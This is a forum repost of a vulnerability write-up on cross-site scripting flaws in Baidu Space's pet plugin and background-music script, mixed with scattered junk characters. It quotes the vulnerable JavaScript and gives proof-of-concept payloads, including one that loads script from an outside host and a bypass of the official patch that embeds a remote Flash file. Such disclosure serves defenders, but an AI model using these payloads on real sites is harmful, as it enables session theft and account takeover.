找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2324|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  
8 |( N" t# r) [" x, N( K. a8 G) L% r( r# |' }
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  + W7 r4 a& A. ~$ ?9 Q
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  3 A/ a' V0 j" c/ q
& l1 ^- P0 E4 L
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  4 B) `3 F5 U/ e/ |. H4 t: ^, M
其中BdUtil.insertWBR为  $ w+ {; i; ]4 F5 `& U% \/ s
function(text, step) {  ! C& d6 C. h) A8 e) n' D0 h7 u
    var textarea = textAreaCache || getContainer();  
( k* ~1 w* Z/ i( u. t    if (!textarea) {  
2 `# B' P! H+ I* U$ d. N% K/ h6 N        return text;  
, X: j1 E8 g4 o- u' g2 i    }  
/ P8 `1 K" O7 s. |5 o7 B& O4 A    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  
' Y2 {% [* S4 E5 ^. i+ _& D) T+ d    var string = textarea.value;  
& Q5 J6 U% _2 q$ \8 i* {    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  
% d% H& ^% P; C$ e. f0 C    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  6 Y/ h  }& i+ @+ n5 a. F0 q/ J
    return result;  % j1 [- P7 @4 z) g* ]+ i$ R
}  
0 D& {+ p/ l: y6 y! Q3 V在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  
) F, e4 `: v: I3 b* r  c2 Q  y" s测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
3 {0 t" y# [7 S   3 g; E& J/ n( l* |  D( n- a3 U
二:creatbgmusic() Dom-Xss Bug  
4 x" u! ~( }- N( F$ V+ |百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  
2 b: n) l4 Q; l9 \0 b4 \: M1 q5 R' O: T! j
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  
7 C' v2 M3 t, C0 U- c9 A) X$ Q; ~  @( I8 I" `; \6 Y# j
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  
7 E' Z$ ~, _" h& J8 X" R1 f    //传入的murl赋值到bgmusic1和bgmusic2中  4 [: ~4 _: q+ l
    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  
2 x0 O$ O5 c/ y1 i6 r. s! h' U8 p    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  
6 F, t0 r+ t( h  D    if (musicnum <= 1) {  
% X; J  N# I+ t1 j        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  & `0 Z7 D! S# j1 `
    }  $ [+ a9 @6 V* e
    bgmusic1 += "</OBJECT>";  
) W* l6 ~3 Y/ w5 J3 ?( a+ K' \" m    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  
, ]0 |$ @- I) V: u  N    if (musicnum <= 1) {  
7 a  R" n% P$ o5 a' ^" Y  p        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  / q1 w  i- \7 {+ L" U
    }  4 }. i4 e4 m  e& D
    bgmusic2 += "> </EMBED>";  
: K# D% N* G7 ^    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  * T( _7 f( R" ^$ y9 g
    var bgmus = detectWMP();  4 {! H2 V8 d5 x- `
    if (functype == "FckMusicHelper") {  7 z2 u8 q" U$ x% _
        if (bgmus.installed) {  $ E2 r6 F6 [8 i# }( I. ]2 V. J
            if (bgmus.type == "IE") {  
+ u( p  W2 R+ H1 X                return bgmusic1;  - H' h1 b7 }( T" U/ W
            } else if (bgmus.type == "NS") {  
. @( ~! A) Q* E4 [$ ~- t                return bgmusic2;  # i0 V6 O  a+ Z5 x& a( Q
            }  
- m9 J+ y( i+ ?1 D        } else {  7 v  a3 Y* s4 y# }
            return bgmusic3;  
9 h$ E/ h4 R; e        }  
( D* t- s% x$ o+ ~0 S' x" U( f. }    } else {  . H9 y, X; z$ v' b; l3 F
        if (bgmus.installed) {  + c# w7 d+ V8 \7 q9 b- X
            //document.write 直接输出bgmusic变量 导致xss  . \. c8 x/ p% b& I# w
            if (bgmus.type == "IE") {  1 s/ m/ _9 j6 u  P0 o8 C
                document.write(bgmusic1);  
3 z7 a! f2 Q: {( q' _4 r            } else if (bgmus.type == "NS") {  6 \# Y4 i/ s6 _) D) p
                document.write(bgmusic2);  
) @) b  j% i& m% c1 u: z- t5 z            }  
6 Y7 @% w( J; ]* n- X        } else {  : ^+ A9 i. t* ~  b, C
            document.write(bgmusic3);  
: u3 K' j) p7 Y! x        }  
  `! M- w/ |7 x* g        return "";  
' Z/ q5 v) |! }( j' l) B2 h% L    }  
% ?: _- X1 b" p% H* d}  3 |! a. t3 Y! E! Q: ~
* e1 c" c8 R) T: w" N, y
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  
1 L6 U: Z# K3 ~. K# f9 Q
7 x+ s1 p0 q; A  p4 \function initBlogTextForFCK(){  
7 B* s% O0 f, ]: u//fck init music  
* g' _) o: I) ^: Q% yif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  7 C  R: l$ G, @* ?' T5 o. u
var imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  
" Z: Y& h/ ^: a: N! d! Y" e4 Gvar isAutoPlay=true;  ) u( {. v# e! t0 ?2 w
for(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  8 r; V2 H5 A# m7 D% e9 R
  var img=imgBox;  2 N( H: N' P- W8 {& ?
  if(img.getAttribute(’rel’)){        ) P- L  c) w% `7 |4 I& C3 n' L
   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  9 w* K) p! J) u8 z: {1 O
   var musicDiv = document.createElement("SPAN");  ' k9 Z8 c# o1 u% i( A  Y7 b
   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  4 k4 q8 Y1 Y; I4 {9 R8 @7 j) b
     
" P, y* B5 j2 U$ X5 ^      ..........................  
' S+ L$ z2 ?* g. ?     . w+ T, I: }0 W2 {6 W/ p; z
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   
7 |& D' q6 G7 j% W" r9 X   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
9 {  M# c# A, W; h   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  + l) d5 I/ v' I6 ]8 N
   musicDiv.innerHTML=shtml;  
" g5 H' D7 K8 [& _/ A( x. j9 @   i--;n--;  % S3 Y- c+ Z% H( j. }$ I
  }  
6 S: N6 a0 F& L9 W1 m1 \}  
3 J0 S& ~5 r8 q8 P6 W; V
1 t4 @7 q$ ^4 j  d, \) V从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  * _- A& W/ `% _: a
   8 C  D: N0 z7 P$ f* o# M
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  
" z' f0 X" f  @, R% \* t
$ J- O" }2 H2 p& ?$ V4 q& d+ i0 \等待官方补丁  / b. X* A( v# Z3 i: P! j+ V  j

# k, R, @( S* `0 l, dupdate 2010年5月13日   
6 ^3 ^! i: I6 m: m5 S, f( N0 u% ]1 {9 \5 P  j% U  }
官方补丁:  
& j' j7 Y% H: g. @. ~8 ^+ i
% I4 K6 a( j: h& t& Lvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  1 `. p* c3 H$ K3 z" O- [: |: p6 I6 [+ d
改为:  
8 G: Y6 }: ?; K/ Y' Yvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  
) c% b' H7 i0 Y& i2 m/ c8 ~5 h( z. N1 _" k# i
update 2010年5月13日 21:50:37  1 A, B0 K( J& Y. u; K. |- [- p3 W

5 S( K& w  F( s9 B4 Y补丁存在漏洞 没有过滤" 可以继续跨:  + @: Y; Z+ k! Z5 t; s! P5 \

8 M& G1 T6 }& W# D4 e- H" k" s2 dNEW POC:    F( W0 P8 e5 P9 z. ~

6 s' r5 G* Z) U6 S& w4 _3 b<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
* j7 q/ \6 N( T; t
  y% ~# Q/ }6 |$ w& f( v6 a5 L5 Y  C( Sallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>( w( ~/ f8 ?& }' C1 P2 i

: ~- X5 ~2 O: e& z9 Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表